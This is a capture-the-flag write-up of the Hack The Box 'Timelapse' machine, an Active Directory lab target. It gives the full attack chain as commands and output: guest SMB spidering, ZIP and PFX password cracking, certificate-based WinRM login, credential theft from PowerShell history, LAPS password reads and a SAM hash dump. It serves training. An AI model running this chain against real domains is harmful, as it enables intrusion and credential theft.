HTB - Timelapse

Target IP: 10.129.227.113 Domain: timelapse.htb DC Hostname: DC01.timelapse.htb OS: Windows Server 2019 Difficulty: Easy Assumed Breach: No - initial access via unauthenticated enumeration Author: [g1nt0n1x]


Ⓩ - zbulim notation: Steps marked with Ⓩ were performed automatically by zbulim, my automated recon tool. They are shown manually here for proof of concept and documentation purposes.


1. Phase 1: Reconnaissance & Information Gathering

1.1 TCP Port Discovery Ⓩ

Standard AD DC fingerprint. Full nmap output omitted - targeted scan run automatically by zbulim.

Key ports identified:

PortServiceNotes
88/tcpKerberosDomain Controller confirmed
389/tcpLDAPDomain: timelapse.htb, DC: DC01
445/tcpSMBSigning required - relay attacks blocked
5985/tcpWinRMRemote shell entry point - supports both password and certificate auth

2. Phase 2: Unauthenticated Enumeration

2.1 Guest Session - Share Enumeration Ⓩ

Null session was not allowed. Guest login succeeded:

nxc smb 10.129.227.113 -u 'guest' -p '' --shares
# Share           Permissions
# Shares          READ         <- Non-standard

2.2 Spider Share Contents Ⓩ

nxc smb 10.129.227.113 -u 'guest' -p '' -M spider_plus -o DOWNLOAD_FLAG=True
cp -r /home/kali/.nxc/modules/nxc_spider_plus/10.129.227.113/ .
 
tree -a
# └── Shares
#     └── Dev
#         └── winrm_backup.zip

A password-protected zip in a Dev share. The filename winrm_backup.zip tells us exactly what’s inside before we even open it - a WinRM authentication artifact.


3. Phase 3: Cracking the ZIP & PFX - Certificate-Based WinRM Auth

This is the most technical part of the box. The chain is:

winrm_backup.zip  (password-protected ZIP)
    └── legacyy_dev_auth.pfx  (password-protected PFX/PKCS#12 archive)
            ├── SSL Certificate  (.crt) - proves identity
            └── Private Key      (.key) - used to sign the TLS handshake

Both the ZIP and the PFX inside it have separate passwords. We crack them one at a time.

3.1 Crack the ZIP Password

zip2john extracts the ZIP encryption metadata into a hash format that John the Ripper can attack:

zip2john winrm_backup.zip > winrm_backup.zip.hash
john --wordlist=/usr/share/wordlists/rockyou.txt winrm_backup.zip.hash
# supremelegacy    (winrm_backup.zip)
unzip -P supremelegacy winrm_backup.zip
# inflating: legacyy_dev_auth.pfx

3.2 What is a PFX File?

A PFX (also called PKCS#12 or .p12) is a binary archive that bundles together:

  • A certificate - a signed document that says “this public key belongs to legacyy_dev”
  • A private key - the secret key that proves you own the certificate

Think of it like a passport (certificate) stapled to the secret that proves it’s really yours (private key). Together they let you authenticate to services that trust the certificate - including WinRM.

The PFX itself is encrypted with a separate password to protect the private key inside.

3.3 Crack the PFX Password

# pfx2john converts the PFX encryption into a crackable hash
pfx2john.py legacyy_dev_auth.pfx > legacyy_dev_auth.pfx.hash
john --wordlist=/usr/share/wordlists/rockyou.txt legacyy_dev_auth.pfx.hash
# thuglegacy    (legacyy_dev_auth.pfx)

Note: the PFX password (thuglegacy) is different from the ZIP password (supremelegacy). Two separate passwords, two separate cracking steps.

For Python3 users: pfx2john.py may output the hash with b' and ' wrapping it. Strip those before feeding to John or it will fail to parse the hash.

3.4 Extract Certificate and Private Key from the PFX

Now that we know the PFX password, we extract its contents with openssl:

# Extract the private key (-nocerts) - -nodes means no passphrase on the output key
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out legacyy_dev_auth.key -nodes
 
# Extract the certificate (-nokeys = no private key in output)
openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out legacyy_dev_auth.crt

What each flag does:

  • -nocerts - only output the private key, skip the certificate
  • -nokeys - only output the certificate, skip the private key
  • -nodes - “no DES” - write the private key unencrypted (no passphrase protection on the output file)
  • -clcerts - only output the end-entity (client) certificate, not any CA certificates in the chain

We now have two files: legacyy_dev_auth.key and legacyy_dev_auth.crt.

3.5 Authenticate via Certificate - WinRM

WinRM supports two authentication methods: password-based (NTLM/Kerberos) and certificate-based (TLS client auth). The -S flag tells evil-winrm to use HTTPS (required for cert auth):

evil-winrm -i timelapse.htb -S -k legacyy_dev_auth.key -c legacyy_dev_auth.crt
# *Evil-WinRM* PS C:\Users\legacyy\Documents>

We authenticated as legacyy without ever knowing their password - the certificate alone proved our identity to WinRM.


4. Phase 4: Post-Exploitation - PowerShell History

4.1 Check PSReadLine History

PowerShell saves every command you type to a history file. This is the equivalent of .bash_history on Linux - and just as dangerous when credentials are typed directly into the terminal.

ls $Env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine
# ConsoleHost_history.txt
 
cat $Env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
# Contents:
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)

A previous user ran a script that created a credential object with a plaintext password. The full command - including the password - was logged to history.

Credentials found: svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV

4.2 Validate & Pivot

nxc winrm 10.129.227.113 -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV'
# [+] timelapse.htb\svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV (Pwn3d!)
 
evil-winrm -i 10.129.227.113 -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV'

5. Phase 5: Privilege Escalation - LAPS_Readers

5.1 Enumerate Group Memberships

net user svc_deploy
# Local Group Memberships:   *Remote Management Use
# Global Group memberships:  *LAPS_Readers    *Domain Users

svc_deploy is a member of LAPS_Readers - a group with permission to read LAPS-managed local administrator passwords from AD.

5.2 What is LAPS?

LAPS (Local Administrator Password Solution) is a Microsoft tool that automatically manages the local Administrator password on every domain-joined machine. Instead of every machine sharing the same local admin password (a common misconfiguration), LAPS:

  1. Generates a unique, random password for the local Administrator on each machine
  2. Stores it as an attribute (ms-mcs-admpwd) on the computer object in AD
  3. Rotates it automatically on a schedule

This prevents lateral movement via shared local admin credentials. However, the passwords are readable by anyone in the designated LAPS_Readers group - which is exactly where svc_deploy sits.

5.3 Read the LAPS Password

Option 1 - PowerShell (on the target):

Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} `
    -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'
# ms-mcs-admpwd: #4v+$t(KAasITd2F/7%81J;R

Option 2 - nxc (remote, from Kali):

nxc ldap 10.129.227.113 -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' -M laps
# Computer: DC01$    Password: #4v+$t(KAasITd2F/7%81J;R

5.4 Authenticate as Administrator

nxc smb 10.129.227.113 -u administrator -p '#4v+$t(KAasITd2F/7%81J;R'
# [+] timelapse.htb\administrator:#4v+$t(KAasITd2F/7%81J;R (Pwn3d!)

5.5 Dump SAM Hashes

nxc smb 10.129.227.113 -u administrator -p '#4v+$t(KAasITd2F/7%81J;R' --sam
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:6b16cb063fdaddb773ba256dd72a14b7:::

Domain compromised.


Deep Dive: PFX / PKCS#12 Certificate Authentication

How Certificate-Based WinRM Auth Works

Normal WinRM with a password works like this:

  1. Client sends username + password
  2. Server validates against AD (NTLM or Kerberos)

Certificate-based WinRM works differently:

  1. During the TLS handshake, the client presents its certificate
  2. The server checks: is this certificate signed by a trusted CA? Does the certificate’s Subject Alternative Name (SAN) map to a valid AD account?
  3. If both checks pass, the user is authenticated - no password needed

The certificate essentially says “I am legacyy_dev, and the domain CA vouches for that.” The private key proves you actually own the certificate (because only the key holder can complete the TLS handshake).

Why This Is a Useful Attack Surface

Certificate-based auth bypasses password-based monitoring and controls:

  • Password spray detection - irrelevant
  • Account lockout policies - irrelevant
  • Password expiry - irrelevant (certificate has its own validity period)

If you find a PFX file, you potentially have persistent access to an account that survives password resets - as long as the certificate is still valid and trusted.

The Two Passwords Explained

LayerWhat’s encryptedPassword usedWhy
ZIP archiveThe PFX file itselfsupremelegacyProtect the PFX in transit/storage
PFX/PKCS#12The private key insidethuglegacyProtect the private key from extraction

The ZIP password protects the file at rest. The PFX password protects the private key even if someone gets the file. Two independent layers of protection - both crackable with a dictionary attack here.


Deep Dive: PowerShell History as a Credential Source

PSReadLine is a PowerShell module that provides command history, tab completion, and syntax highlighting. By default it saves every command typed in interactive sessions to:

%APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

This file is:

  • Persistent - survives reboots, survives user logouts
  • Readable by the user (and anyone who compromises their account)
  • Not cleared unless manually deleted or overwritten

Why Credentials End Up Here

When administrators run scripts or one-liners interactively, the full command including any inline passwords gets saved to history. Common patterns:

# Credential objects created inline
$c = New-Object PSCredential('user', (ConvertTo-SecureString 'password' -AsPlainText -Force))
 
# Net commands with passwords
net use \\server\share /user:domain\user password
 
# Invoke-WebRequest with auth
Invoke-WebRequest -Uri http://server -Credential (Get-Credential)
# (if they typed the password into a script instead of the prompt)

Always Check PS History After Initial Access

# Current user
cat $Env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
 
# All users (requires admin)
Get-ChildItem C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt |
    Get-Content

Deep Dive: LAPS (Local Administrator Password Solution)

The Problem LAPS Solves

Before LAPS, it was common for all machines in a domain to share the same local Administrator password - set once during imaging and never changed. If an attacker compromised one machine and dumped the local SAM, they could instantly move laterally to every other machine in the domain with that same password.

LAPS solves this by making every machine’s local admin password unique and randomly generated.

How LAPS Works

[Group Policy] ─► [LAPS Agent on each machine]
                        |
                        ├─ Generates random password for local Administrator
                        ├─ Sets the password on the local account
                        └─ Writes it to AD: computer object attribute ms-mcs-admpwd
                                                    |
                                           [LAPS_Readers group]
                                           can read this attribute

The password is stored in plaintext in AD (it’s protected by AD’s access control, not encryption). Anyone in LAPS_Readers can read it with a single LDAP query.

Why LAPS_Readers Membership = Local Admin on All LAPS Machines

# nxc reads ms-mcs-admpwd via LDAP - works for any account in LAPS_Readers
nxc ldap <dc-ip> -u <laps_reader> -p <pass> -M laps

The -M laps module queries the ms-mcs-admpwd attribute on all computer objects. If the account has read access, it returns the current password for every LAPS-managed machine.

On this box, DC01 itself is LAPS-managed - so reading the LAPS password gives us the DC’s local Administrator, which is effectively Domain Admin on a standalone DC.

LAPS vs No LAPS: Attack Surface

ScenarioRisk
No LAPS, shared local admin passwordCompromise one machine = compromise all machines
LAPS enabled, LAPS_Readers over-permissionedCompromise any LAPS_Reader account = read all local admin passwords
LAPS enabled, LAPS_Readers tightly controlledLocal admin compromise stays local to that one machine

LAPS reduces the blast radius of lateral movement - but only if the LAPS_Readers group is tightly controlled.


Key Takeaways & Checklist

  • Non-standard shares (Dev, Shares, Backup) almost always contain something - spider everything
  • Password-protected ZIPs and PFXs in shares are a goldmine - zip2john + pfx2john + john
  • PFX = certificate + private key bundled together - extract with openssl, use for certificate-based WinRM auth
  • Two separate passwords: one for the ZIP, one for the PFX inside - crack both separately
  • evil-winrm -S -k key -c cert authenticates via certificate, no password needed
  • Always check PS history after gaining any shell: ConsoleHost_history.txt under %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\
  • LAPS_Readers group membership = read plaintext local admin passwords from AD for all LAPS-managed machines
  • nxc ldap -M laps retrieves LAPS passwords remotely in one command
  • On a standalone DC with LAPS, the local Administrator = effectively Domain Admin